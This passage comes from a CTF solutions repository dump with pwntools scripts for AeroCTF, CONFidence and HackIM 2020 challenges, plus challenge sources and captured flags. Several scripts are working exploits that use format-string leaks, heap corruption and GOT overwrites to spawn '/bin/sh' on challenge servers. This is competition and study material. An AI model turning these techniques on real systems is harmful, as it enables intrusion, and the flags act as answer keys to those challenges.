R(2.0260990893806965307943860314007373888732002921518840941414e76)] 29 | yB[0] = [R(4.0652782673020986683538918237010543408982543019306057179496e95), R(-5.0285426513783822097670201376390415563936061484095492229894e94)] 30 | yC[0] = [R(4.3083595977562861674637990303350994431503203162436044206961e76), R(-3.1928247205608247346546681530367209122491766171698701927922e76)] 31 | yA[1] = [R(3.9886651421460868244883042163468164077791762065632163641999e76), R(-1.2487387183806776412156661578750877275468860853692530589115e77)] 32 | yB[1] = [R(2.5644531171906756537679808003501733255703504126650573479133e95), R(-1.6570541229598112699074962433815055733294177769576178678896e96)] 33 | yC[1] = [R(4.5893614625576224795913782492661186902913334535507951850089e76), R(6.8611881934867127810471276550294069221078140676008042683634e76)] 34 | yA[2] = [R(-6.5089227887140404010136240391818701730482514213358150433451e75), R(5.5620733870042242270647223203879530885369669489378834804472e76)] 35 | yB[2] = [R(1.0017374772520318947002755790705886607122203555146923369286e95), R(1.2876407911288161811207561236370324382394428286338064237471e96)] 36 | yC[2] = [R(1.1418280384822587553925695577555385627605037374102719431688e77), R(-1.9966984339634055590175475802847306340483261373340080568330e76)] 37 | 38 | results = [] 39 | 40 | for i in range(3): 41 | A = yA[i][0]^2 + yA[i][1]^2 42 | B = yB[i][0]^2 + yB[i][1]^2 43 | r = sqrt(B / A) 44 | 45 | # x == sin(2 * theta) 46 | c = yA[i][0]^2 - yA[i][1]^2 47 | k = (yB[i][0]^2 - yB[i][1]^2) / r^2 48 | s = 2 * yA[i][0] * yA[i][1] 49 | 50 | a = c^2 + s^2 51 | b = 2 * s * k 52 | c = k^2 - c^2 53 | 54 | x1, x2 = solve(a, b, c) 55 | t1, t2 = arcsin(x1) / 2, arcsin(x2) / 2 56 | assert x1 == sin(2 * t1) 57 | 58 | B1 = matrix(R, [[r * cos(t1), r * sin(t1)], [r * -sin(t1), r * cos(t1)]]) 59 | B2 = matrix(R, [[r * cos(t2), r * sin(t2)], [r * -sin(t2), r * cos(t2)]]) 60 | 61 | yB1 = vector(R, yA[i]) * B1 62 | yB2 = vector(R, yA[i]) * B2 63 | 64 | d1 = yB1[0] - vector(R, yB[i])[0] 65 | d2 = yB2[0] - vector(R, yB[i])[0] 66 | 67 | if -1e50 < d1 < 1e50: 68 | Bc = matrix(R, [[cos(-t1) / r, sin(-t1) / r], [-sin(-t1) / r, cos(-t1) / r]]) 69 | elif -1e50 < d2 < 1e50: 70 | Bc = matrix(R, [[cos(-t2) / r, sin(-t2) / r], [-sin(-t2) / r, cos(-t2) / r]]) 71 | else: 72 | print('No solution at {}'.format(i)) 73 | continue 74 | 75 | m = vector(R, yC[i]) * Bc 76 | results.extend(m) 77 | 78 | print(merge_message(results)) 79 | 80 | # hxp{p33r_r3v13w3d_m4y_n0t_b3_1337_r3v13w3d} 81 | -------------------------------------------------------------------------------- /2020-AeroCTF/Navigation_Journal/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Navigation_Journal/ld-2.23.so -------------------------------------------------------------------------------- /2020-AeroCTF/Navigation_Journal/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Navigation_Journal/libc.so.6 -------------------------------------------------------------------------------- /2020-AeroCTF/Navigation_Journal/nav_journal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Navigation_Journal/nav_journal -------------------------------------------------------------------------------- /2020-AeroCTF/Navigation_Journal/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | HOST, PORT = 'tasks.aeroctf.com', 33013 4 | DEBUG = False 5 | 6 | if DEBUG: 7 | env = {'LD_PRELOAD': './libc.so.6'} 8 | p = pwn.process(['./ld-2.23.so', './nav_journal'], env=env) 9 | else: 10 | p = pwn.remote(HOST, PORT) 11 | pwn.context.log_level = 'DEBUG' 12 | 13 | libc = pwn.ELF('./libc.so.6') 14 | 15 | 16 | def Menu(i): 17 | p.recvuntil('> ') 18 | p.sendline(str(i)) 19 | 20 | 21 | def FSB(fstr): 22 | Menu(4) 23 | p.recvuntil('{?} Do you agree with this name?[Y\\N]: ') 24 | p.sendline('N') 25 | p.recvuntil('{?} Enter your name: ') 26 | 27 | payload = fstr.encode() 28 | payload = payload.ljust(6, b'\x00') 29 | p.send(payload) 30 | 31 | p.recvuntil('/tmp/') 32 | return int(p.recvuntil('-', drop=True), 16) 33 | 34 | 35 | p.recvuntil('Enter your name: ') 36 | p.sendline('ironore15') 37 | 38 | heap_base = FSB('%13$p') - 0x618 39 | pwn.log.info('[heap]: 0x{:08X}'.format(heap_base)) 40 | Menu(7) 41 | 42 | libc_base = FSB('%20$p') - 0x1B2000 43 | pwn.log.info('libc.so.6: 0x{:08X}'.format(libc_base)) 44 | 45 | Menu(5) 46 | p.recvuntil('{?} Enter data: ') 47 | 48 | payload = b'/bin/sh\x00' 49 | payload = payload.ljust(0x48, b'\x00') 50 | payload += pwn.p32(heap_base + 0x208) 51 | payload = payload.ljust(0x94, b'\x00') 52 | payload += pwn.p32(heap_base + 0x408) 53 | payload = payload.ljust(0x400, b'\x00') 54 | payload += pwn.p32(0) * 17 55 | payload += pwn.p32(libc_base + libc.symbols[b'system']) 56 | payload = payload.ljust(0x600, b'\x00') 57 | payload += pwn.p32(heap_base + 0x8) 58 | 59 | p.send(payload) 60 | 61 | Menu(3) 62 | 63 | pwn.context.log_level = 'INFO' 64 | p.interactive() 65 | -------------------------------------------------------------------------------- /2020-AeroCTF/Password_Keeper/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Password_Keeper/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /2020-AeroCTF/Password_Keeper/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Password_Keeper/libc.so.6 -------------------------------------------------------------------------------- /2020-AeroCTF/Password_Keeper/passkeeper: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Password_Keeper/passkeeper -------------------------------------------------------------------------------- /2020-AeroCTF/Password_Keeper/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | HOST, PORT = 'tasks.aeroctf.com', 33039 4 | DEBUG = False 5 | 6 | if DEBUG: 7 | env = {'LD_PRELOAD': './libc.so.6'} 8 | p = pwn.process(['./ld-linux-x86-64.so.2', './passkeeper'], env=env) 9 | else: 10 | p = pwn.remote(HOST, PORT) 11 | pwn.context.log_level = 'DEBUG' 12 | 13 | libc = pwn.ELF('./libc.so.6') 14 | 15 | 16 | def Menu(i): 17 | p.recvuntil('> ') 18 | p.sendline(str(i)) 19 | 20 | 21 | def Keep(pw): 22 | Menu(1) 23 | 24 | p.recvuntil('{?} Enter password: ') 25 | if len(pw) == 0x30: 26 | p.send(pw) 27 | else: 28 | p.sendline(pw) 29 | 30 | 31 | def View(i): 32 | Menu(2) 33 | 34 | p.recvuntil('{?} Enter password id: ') 35 | p.sendline(str(i)) 36 | p.recvuntil('Value: ') 37 | return p.recvline(keepends=False) 38 | 39 | 40 | def Delete(i): 41 | Menu(4) 42 | 43 | p.recvuntil('{?} Enter password id: ') 44 | p.sendline(str(i)) 45 | 46 | 47 | def Change(secret): 48 | Menu(7) 49 | 50 | p.recvuntil('Enter new secret: ') 51 | if len(secret) == 0x10: 52 | p.send(secret) 53 | else: 54 | p.sendline(secret) 55 | 56 | 57 | p.recvuntil('{?} Enter name: ') 58 | 59 | payload = b'/bin/sh\x00' 60 | payload = payload.ljust(0x38, b'\x00') 61 | payload += pwn.p64(0x41) 62 | p.send(payload) 63 | 64 | p.recvuntil('{?} Enter secret: ') 65 | p.sendline(pwn.p64(0x404058)) 66 | 67 | for i in range(0x10): 68 | Keep('ironore15') 69 | 70 | atoi_libc = pwn.u64(View(0x10).ljust(8, b'\x00')) 71 | libc_base = atoi_libc - libc.symbols[b'atoi'] 72 | pwn.log.info('libc.so.6: 0x{:012X}'.format(libc_base)) 73 | 74 | Change(pwn.p64(0x404100)) 75 | 76 | Delete(0x10) 77 | Keep(pwn.p64(libc_base + libc.symbols[b'system'])) 78 | 79 | Menu(6) 80 | 81 | pwn.context.log_level = 'INFO' 82 | p.interactive() 83 | 84 | # Aero{a9b57185b3799a0bb4c0bdd01156ae2d5eeea046513a4faf1d51e114df91679e} 85 | -------------------------------------------------------------------------------- /2020-AeroCTF/Ticket_Storage/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Ticket_Storage/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /2020-AeroCTF/Ticket_Storage/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Ticket_Storage/libc.so.6 -------------------------------------------------------------------------------- /2020-AeroCTF/Ticket_Storage/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | HOST, PORT = 'tasks.aeroctf.com', 33014 4 | DEBUG = False 5 | 6 | if DEBUG: 7 | env = {'LD_PRELOAD': './libc.so.6'} 8 | p = pwn.process(['./ld-linux-x86-64.so.2', './ticket_storage'], env=env) 9 | else: 10 | p = pwn.remote(HOST, PORT) 11 | pwn.context.log_level = 'DEBUG' 12 | 13 | libc = pwn.ELF('./libc.so.6') 14 | 15 | 16 | def Menu(i): 17 | p.recvuntil('> ') 18 | p.sendline(str(i)) 19 | 20 | 21 | def Reserve(): 22 | Menu(1) 23 | p.recvuntil('{?} Enter departure city: ') 24 | p.sendline('ironore15') 25 | p.recvuntil('{?} Enter destination city: ') 26 | p.sendline('ironore15') 27 | p.recvuntil('{?} Enter the desired cost: ') 28 | p.sendline('0') 29 | 30 | 31 | def View(tid): 32 | Menu(2) 33 | p.recvuntil('{?} Enter ticket id: ') 34 | p.sendline(tid) 35 | p.recvuntil('From: ') 36 | f = p.recvline().strip() 37 | p.recvuntil('To: ') 38 | t = p.recvline().strip() 39 | p.recvuntil('Owner: ') 40 | o = p.recvline().strip() 41 | return f, t, o 42 | 43 | 44 | p.recvuntil('{?} Enter name: ') 45 | p.sendline('ironore15') 46 | 47 | for i in range(8): 48 | Reserve() 49 | 50 | Menu(5) 51 | p.recvuntil('{?} Enter name: ') 52 | 53 | payload = pwn.p64(0x4040F8) 54 | payload += pwn.p64(0x404100) 55 | payload += pwn.p64(0) 56 | payload += pwn.p64(0x404120) 57 | payload += pwn.p32(0) 58 | payload += b'ABCDEFGH' 59 | payload = payload.ljust(0x30, b'\x00') 60 | payload = payload.ljust(0x80, b'A') 61 | payload += pwn.p64(0x404120) 62 | p.send(payload) 63 | 64 | heap_leak, _, _ = View('ABCDEFGH') 65 | heap_base = pwn.u64(heap_leak.ljust(8, b'\x00')) - 0x680 66 | pwn.log.info('[heap]: 0x{:012X}'.format(heap_base)) 67 | 68 | Menu(5) 69 | p.recvuntil('{?} Enter name: ') 70 | 71 | payload = pwn.p64(heap_base + 0x4D0) 72 | payload += pwn.p64(heap_base + 0x560) 73 | payload += pwn.p64(0) 74 | payload += pwn.p64(heap_base + 0x5F0) 75 | payload += pwn.p32(0) 76 | payload += b'ABCDEFGH' 77 | payload = payload.ljust(0x30, b'\x00') 78 | payload = payload.ljust(0x80, b'A') 79 | payload += pwn.p64(0x404120) 80 | p.send(payload) 81 | 82 | _, flag, _ = View('ABCDEFGH') 83 | flag = flag.decode() 84 | 85 | Menu(6) 86 | 87 | pwn.context.log_level = 'INFO' 88 | p.close() 89 | 90 | pwn.log.info(flag) 91 | 92 | # Aero{4af2aea9b7dea9aabbc1c9a423e4957fd4c615821f4ded0f618b629651a9d67c} 93 | -------------------------------------------------------------------------------- /2020-AeroCTF/Ticket_Storage/ticket_storage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Ticket_Storage/ticket_storage -------------------------------------------------------------------------------- /2020-AeroCTF/rewarmup/rewarmup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/rewarmup/rewarmup -------------------------------------------------------------------------------- /2020-AeroCTF/rewarmup/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | elf = pwn.ELF('./rewarmup') 5 | 6 | raw_data = elf.read(0xDCF28, 70 * 4) 7 | data = [] 8 | 9 | for i in range(70): 10 | data.append(pwn.u32(raw_data[4 * i:4 * i + 4])) 11 | 12 | flag = bytearray(70) 13 | 14 | for seed in range(0xFF * 70): 15 | for i in range(70): 16 | seed = (0x1282 * seed + 0x1634) & 0xFFFFFFFF 17 | seed %= 0xFEFEFEFE 18 | flag[i] = (seed & 0xFF) ^ data[i] 19 | 20 | if flag.startswith(b'Aero'): 21 | break 22 | 23 | pwn.log.info(flag.decode()) 24 | -------------------------------------------------------------------------------- /2020-CONFidence/Borken_Counter/counter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-CONFidence/Borken_Counter/counter -------------------------------------------------------------------------------- /2020-CONFidence/Borken_Counter/solve.py: -------------------------------------------------------------------------------- 1 | with open('out.txt', 'r') as f: 2 | data = list(map(lambda x: int(x), f.read().split())) 3 | 4 | idx = 0 5 | flag = '' 6 | 7 | while data[idx] != 217: 8 | char = 0 9 | for j in range(7): 10 | idx = data.index(143, idx) + 1 11 | char |= (data[idx] == 142) << j 12 | flag += chr(char) 13 | 14 | idx = data.index(207, idx) + 1 15 | 16 | print(flag) 17 | -------------------------------------------------------------------------------- /2020-CONFidence/Stuck_in_the_past/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | import re 3 | import sys 4 | 5 | 6 | with open('./stuck_in_the_past.exe', 'rb') as f: 7 | binary = f.read() 8 | 9 | code = binary[0x7DE:0x3EC8] 10 | code = pwn.disasm(code, byte=False, offset=False) 11 | 12 | instr_dict = { 13 | 'nop': '', 14 | 'xchg ax, ax': '', 15 | 'push 0x1\npush 0x0\nmov eax, 0x4010f6\njmp eax': '>', 16 | 'push 0x1\npush 0x21\nmov eax, 0x4010f6\njmp eax': '<', 17 | 'push 0x1\npush 0x42\nmov eax, 0x4010f6\njmp eax': 'v', 18 | 'push 0x1\npush 0x63\nmov eax, 0x4010f6\njmp eax': '^', 19 | 'push 0x1\npush 0x70\nmov eax, 0x4010f6\njmp eax': '#', 20 | 'push 0x2\npush 0x70\nmov eax, 0x4010f6\njmp eax': '#', 21 | 'push 0x0\nmov eax, 0x401124\njmp eax': '+', 22 | 'push 0x4\nmov eax, 0x401124\njmp eax': '-', 23 | 'push 0x8\nmov eax, 0x401124\njmp eax': '*', 24 | 'push 0xc\nmov eax, 0x401124\njmp eax': '/', 25 | 'push 0x15\nmov eax, 0x401124\njmp eax': '%', 26 | 'mov eax, 0x4010fe\njmp eax': '_', 27 | 'mov eax, 0x401111\njmp eax': '|', 28 | 'mov eax, 0x401153\njmp eax': '!', 29 | 'mov eax, 0x40115f\njmp eax': ':', 30 | 'mov eax, 0x401167\njmp eax': '\\', 31 | 'mov eax, 0x401170\njmp eax': '$', 32 | 'mov eax, 0x401176\njmp eax': '?', 33 | 'mov eax, 0x40119d\njmp eax': '@', 34 | 'mov eax, 0x4011a4\njmp eax': '~', 35 | 'mov eax, 0x4011cd\njmp eax': '.', 36 | 'mov eax, 0x401218\njmp eax': ',', 37 | 'mov eax, 0x40123c\njmp eax': 'p', 38 | 'mov eax, 0x4013a6\njmp eax': 'g', 39 | 'mov eax, 0x4013b0\njmp eax': '"', 40 | } 41 | 42 | s = r'\b(' + '|'.join(instr_dict.keys()) + r')\b' 43 | pattern = re.compile(s) 44 | code = pattern.sub(lambda x: instr_dict[x.group()], code) 45 | 46 | s = r'\b(push 0x(?P[0-9]{1})\nmov eax, 0x401027\njmp eax)\b' 47 | pattern = re.compile(s) 48 | code = pattern.sub(lambda x: x.group('int'), code) 49 | 50 | s = r'\b(push 0x(?P[0-9a-f]{1,8})\nmov eax, 0x401027\njmp eax)\b' 51 | pattern = re.compile(s) 52 | code = pattern.sub(lambda x: chr(int(x.group('char'), 16) & 0xFF), code) 53 | 54 | s = r'\b(mov eax, 0x401027\njmp eax)\b' 55 | pattern = re.compile(s) 56 | code = pattern.sub(lambda x: ' ', code) 57 | 58 | code = code.replace('\n', '').encode() 59 | befunge = [] 60 | 61 | for i in range(1, len(code), 0x47): 62 | befunge.append(code[i:i + 0x47]) 63 | sys.stdout.buffer.write(befunge[-1] + b'\n') 64 | print() 65 | 66 | enc_flag = befunge[5][2:30] 67 | flag = b'' 68 | 69 | for ch in enc_flag: 70 | if ch == 0x5F or ch == 0x61: 71 | flag += bytes([ch]) 72 | continue 73 | a = (ch + 1) % 2 74 | b = (ch // 2 // 0x20 + 1) % 2 * 2 * 0x20 75 | c = ch // 2 % 0x20 * 2 76 | flag += bytes([a + b + c]) 77 | 78 | flag = flag[::-1].decode() 79 | 80 | print(flag) 81 | -------------------------------------------------------------------------------- /2020-CONFidence/Stuck_in_the_past/stuck_in_the_past.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-CONFidence/Stuck_in_the_past/stuck_in_the_past.exe -------------------------------------------------------------------------------- /2020-HackIM/Dark_Honya/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/Dark_Honya/challenge -------------------------------------------------------------------------------- /2020-HackIM/Dark_Honya/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/Dark_Honya/ld-2.23.so -------------------------------------------------------------------------------- /2020-HackIM/Dark_Honya/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/Dark_Honya/libc-2.23.so -------------------------------------------------------------------------------- /2020-HackIM/Dark_Honya/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import pwn 3 | 4 | 5 | HOST, PORT = 'pwn2.ctf.nullcon.net', 5002 6 | DEBUG = False 7 | 8 | libc = pwn.ELF('./libc-2.23.so') 9 | 10 | if DEBUG: 11 | env = {'LD_PRELOAD': './libc-2.23.so'} 12 | p = pwn.process(['./ld-2.23.so', './challenge'], env=env) 13 | else: 14 | p = pwn.remote(HOST, PORT) 15 | pwn.context.log_level = 'debug' 16 | 17 | 18 | def Menu(i): 19 | p.recvuntil('5) Checkout!\n') 20 | if exploit: 21 | p.sendline('0' * (i - 1)) 22 | p.recvline() 23 | else: 24 | p.sendline(str(i)) 25 | 26 | 27 | def Malloc(name): 28 | assert len(name) <= 0xF8 29 | 30 | Menu(1) 31 | 32 | p.recvuntil('Name of the book?\n') 33 | if len(name) == 0xF8: 34 | p.send(name) 35 | else: 36 | p.sendline(name) 37 | 38 | 39 | def Free(idx): 40 | Menu(2) 41 | 42 | p.recvuntil('Which book do you want to return?\n') 43 | p.sendline(str(idx)) 44 | 45 | 46 | def Write(idx, name): 47 | assert len(name) <= 0xF8 48 | 49 | Menu(3) 50 | 51 | if exploit and len(idx) >= 0x10: 52 | p.sendline(idx) 53 | return p.recvuntil(b'\r', drop=True) 54 | 55 | p.sendline(str(idx)) 56 | p.recvuntil('Name of the book?') 57 | if len(name) == 0xF8: 58 | p.send(name) 59 | else: 60 | p.sendline(name) 61 | 62 | 63 | printf_plt = 0x400680 64 | free_got = 0x602018 65 | atoi_got = 0x602060 66 | ptr = 0x6021A0 67 | 68 | exploit = False 69 | 70 | p.recvuntil('what is your name?\n') 71 | p.sendline('ironore15') 72 | 73 | Malloc('ironore15') 74 | Malloc('ironore15') 75 | Malloc('ironore15') 76 | Malloc(b'/bin/sh\x00') 77 | 78 | payload = pwn.p64(0) 79 | payload += pwn.p64(0xF1) 80 | payload += pwn.p64(ptr - 0x18) 81 | payload += pwn.p64(ptr - 0x10) 82 | payload = payload.ljust(0xF0, b'A') 83 | payload += pwn.p64(0xF0) 84 | 85 | Write(0, payload) 86 | 87 | Free(1) 88 | Free(2) 89 | 90 | payload = b'A' * 0x18 91 | payload += pwn.p64(atoi_got) 92 | payload += pwn.p64(ptr) 93 | 94 | Write(0, payload) 95 | 96 | payload = pwn.p64(printf_plt) 97 | Write(0, payload) 98 | 99 | exploit = True 100 | 101 | fsb_payload = b'A' * 0x10 102 | fsb_payload += b'%9$s\r' 103 | fsb_payload = fsb_payload.ljust(0x18, b'\x00') 104 | fsb_payload += pwn.p64(free_got) 105 | 106 | 107 | leak = Write(fsb_payload, '') 108 | 109 | free_libc = pwn.u64(leak[16:].ljust(8, b'\x00')) 110 | libc_base = free_libc - libc.symbols[b'free'] 111 | 112 | pwn.log.info('libc-2.23.so: 0x{:012x}'.format(libc_base)) 113 | 114 | exit_libc = libc_base + libc.symbols[b'exit'] 115 | printf_libc = libc_base + libc.symbols[b'printf'] 116 | puts_libc = libc_base + libc.symbols[b'puts'] 117 | system_libc = libc_base + libc.symbols[b'system'] 118 | 119 | payload = b'A' * 0x8 120 | payload += pwn.p64(free_got) 121 | 122 | Write('', payload) 123 | 124 | payload = pwn.p64(system_libc) 125 | payload += pwn.p64(puts_libc) 126 | 127 | Write('', payload) 128 | 129 | if DEBUG: 130 | pwn.context.terminal = ['tmux', 'splitw', '-h'] 131 | pwn.gdb.attach(p, 'b* system') 132 | 133 | Free('00') 134 | 135 | pwn.context.log_level = 'info' 136 | p.interactive() 137 | 138 | # hackim20{Cause_Im_coming_atcha_like_a_dark_honya_?} 139 | -------------------------------------------------------------------------------- /2020-HackIM/RockPaperScissors/rps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto import Random 3 | from Crypto.Random import random 4 | from Crypto.Util.number import * 5 | from secret import flag 6 | 7 | sbox = [221, 229, 120, 8, 119, 143, 33, 79, 22, 93, 239, 118, 130, 12, 63, 207, 90, 240, 199, 20, 181, 4, 139, 98, 78, 32, 94, 108, 100, 223, 1, 173, 220, 238, 217, 152, 62, 121, 117, 132, 2, 55, 125, 6, 34, 201, 254, 0, 228, 48, 250, 193, 147, 248, 89, 127, 174, 210, 57, 38, 216, 225, 43, 15, 142, 66, 70, 177, 237, 169, 67, 192, 30, 236, 131, 158, 136, 159, 9, 148, 103, 179, 141, 11, 46, 234, 36, 18, 191, 52, 231, 23, 88, 145, 101, 17, 74, 44, 122, 75, 235, 175, 54, 40, 27, 109, 73, 202, 129, 215, 83, 186, 7, 163, 29, 115, 243, 13, 105, 184, 68, 124, 189, 39, 140, 138, 165, 219, 161, 150, 59, 233, 208, 226, 176, 144, 113, 146, 19, 224, 111, 126, 222, 178, 47, 252, 99, 87, 134, 249, 69, 198, 164, 203, 194, 170, 26, 137, 204, 157, 180, 168, 162, 56, 81, 253, 213, 45, 21, 58, 24, 171, 37, 82, 53, 50, 84, 196, 232, 242, 244, 64, 80, 10, 114, 212, 187, 205, 28, 51, 182, 16, 107, 245, 211, 85, 92, 195, 5, 197, 200, 31, 183, 61, 123, 86, 167, 154, 41, 151, 35, 247, 246, 153, 95, 206, 149, 76, 112, 71, 230, 106, 188, 172, 241, 72, 156, 49, 14, 214, 155, 110, 102, 116, 128, 160, 135, 104, 77, 91, 190, 60, 42, 185, 96, 97, 251, 218, 133, 209, 65, 227, 3, 166, 255, 25] 8 | p = [5, 9, 1, 8, 3, 11, 0, 12, 7, 4, 14, 13, 10, 15, 6, 2] 9 | round = 16 10 | 11 | 12 | def pad(data, size = 16): 13 | pad_byte = (size - len(data) % size) % size 14 | data = data + bytearray([pad_byte]) * pad_byte 15 | return data 16 | 17 | 18 | def repeated_xor(p, k): 19 | return bytearray([p[i] ^ k[i % len(k)] for i in range(len(p))]) 20 | 21 | 22 | def bytes_to_int(xbytes): 23 | return bytes_to_long(xbytes) 24 | 25 | 26 | def int_to_bytes(x): 27 | return long_to_bytes(x, 16) 28 | 29 | 30 | def group(input, size = 16): 31 | return [input[i * size: (i + 1) * size] for i in range(len(input) // size)] 32 | 33 | 34 | def hash(data): 35 | state = bytearray([208, 151, 71, 15, 101, 206, 50, 225, 223, 14, 14, 106, 22, 40, 20, 2]) 36 | data = pad(data, 16) 37 | data = group(data) 38 | for roundkey in data: 39 | for _ in range(round): 40 | state = repeated_xor(state, roundkey) 41 | for i in range(len(state)): 42 | state[i] = sbox[state[i]] 43 | temp = bytearray(16) 44 | for i in range(len(state)): 45 | temp[p[i]] = state[i] 46 | state = temp 47 | return hex(bytes_to_int(state))[2:] 48 | 49 | def gen_commitments(): 50 | secret = bytearray(Random.get_random_bytes(16)) 51 | rc = hash(secret + b"r") 52 | pc = hash(secret + b"p") 53 | sc = hash(secret + b"s") 54 | secret = hex(bytes_to_int(secret))[2:] 55 | rps = [("r", rc), ("p", pc), ("s", sc)] 56 | random.shuffle(rps) 57 | return secret, rps 58 | 59 | def check_win(a, b): 60 | if a == "r": 61 | if b == "p": 62 | return True 63 | else: 64 | return False 65 | elif a == "s": 66 | if b == "r": 67 | return True 68 | else: 69 | return False 70 | elif a == "p": 71 | if b == "s": 72 | return True 73 | else: 74 | return False 75 | return False 76 | 77 | def main(): 78 | print("Beat me in Rock Paper Scissors 20 consecutive times to get the flag") 79 | for i in range(20): 80 | secret, rps = gen_commitments() 81 | move = rps[0][0] 82 | print("Here are the possible commitments, the first one is my move:", " ".join(map(lambda s: s[1], rps))) 83 | inp = input("Your move:") 84 | res = check_win(move, inp) 85 | print("My move was:", move, "Secret was:", secret) 86 | if not res: 87 | print("You lose!") 88 | exit(0) 89 | 90 | print("You win") 91 | print("Your reward is", flag) 92 | exit(0) 93 | 94 | if __name__ == '__main__': 95 | main() 96 | -------------------------------------------------------------------------------- /2020-HackIM/RockPaperScissors/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from Crypto.Util.number import bytes_to_long 3 | from Crypto.Util.number import long_to_bytes 4 | import pwn 5 | 6 | 7 | sbox = [221, 229, 120, 8, 119, 143, 33, 79, 22, 93, 239, 118, 130, 12, 63, 207, 90, 240, 199, 20, 181, 4, 139, 98, 78, 32, 94, 108, 100, 223, 1, 173, 220, 238, 217, 152, 62, 121, 117, 132, 2, 55, 125, 6, 34, 201, 254, 0, 228, 48, 250, 193, 147, 248, 89, 127, 174, 210, 57, 38, 216, 225, 43, 15, 142, 66, 70, 177, 237, 169, 67, 192, 30, 236, 131, 158, 136, 159, 9, 148, 103, 179, 141, 11, 46, 234, 36, 18, 191, 52, 231, 23, 88, 145, 101, 17, 74, 44, 122, 75, 235, 175, 54, 40, 27, 109, 73, 202, 129, 215, 83, 186, 7, 163, 29, 115, 243, 13, 105, 184, 68, 124, 189, 39, 140, 138, 165, 219, 161, 150, 59, 233, 208, 226, 176, 144, 113, 146, 19, 224, 111, 126, 222, 178, 47, 252, 99, 87, 134, 249, 69, 198, 164, 203, 194, 170, 26, 137, 204, 157, 180, 168, 162, 56, 81, 253, 213, 45, 21, 58, 24, 171, 37, 82, 53, 50, 84, 196, 232, 242, 244, 64, 80, 10, 114, 212, 187, 205, 28, 51, 182, 16, 107, 245, 211, 85, 92, 195, 5, 197, 200, 31, 183, 61, 123, 86, 167, 154, 41, 151, 35, 247, 246, 153, 95, 206, 149, 76, 112, 71, 230, 106, 188, 172, 241, 72, 156, 49, 14, 214, 155, 110, 102, 116, 128, 160, 135, 104, 77, 91, 190, 60, 42, 185, 96, 97, 251, 218, 133, 209, 65, 227, 3, 166, 255, 25] 8 | perm = [5, 9, 1, 8, 3, 11, 0, 12, 7, 4, 14, 13, 10, 15, 6, 2] 9 | round = 16 10 | 11 | 12 | def pad(data, size=16): 13 | pad_byte = (size - len(data) % size) % size 14 | data = data + bytearray([pad_byte]) * pad_byte 15 | return data 16 | 17 | 18 | def repeated_xor(p, k): 19 | return bytearray([p[i] ^ k[i % len(k)] for i in range(len(p))]) 20 | 21 | 22 | def bytes_to_int(xbytes): 23 | return bytes_to_long(xbytes) 24 | 25 | 26 | def int_to_bytes(x): 27 | return long_to_bytes(x, 16) 28 | 29 | 30 | def group(input, size=16): 31 | return [input[i * size: (i + 1) * size] for i in range(len(input) // size)] 32 | 33 | 34 | def hash(data): 35 | state = bytearray([208, 151, 71, 15, 101, 206, 50, 225, 223, 14, 14, 106, 22, 40, 20, 2]) 36 | data = pad(data, 16) 37 | data = group(data) 38 | for roundkey in data: 39 | for _ in range(round): 40 | state = repeated_xor(state, roundkey) 41 | for i in range(len(state)): 42 | state[i] = sbox[state[i]] 43 | temp = bytearray(16) 44 | for i in range(len(state)): 45 | temp[perm[i]] = state[i] 46 | state = temp 47 | return hex(bytes_to_int(state))[2:] 48 | 49 | 50 | def inv_hash(state, data): 51 | state = bytearray(state) 52 | 53 | data = pad(data, 16) 54 | data = group(data) 55 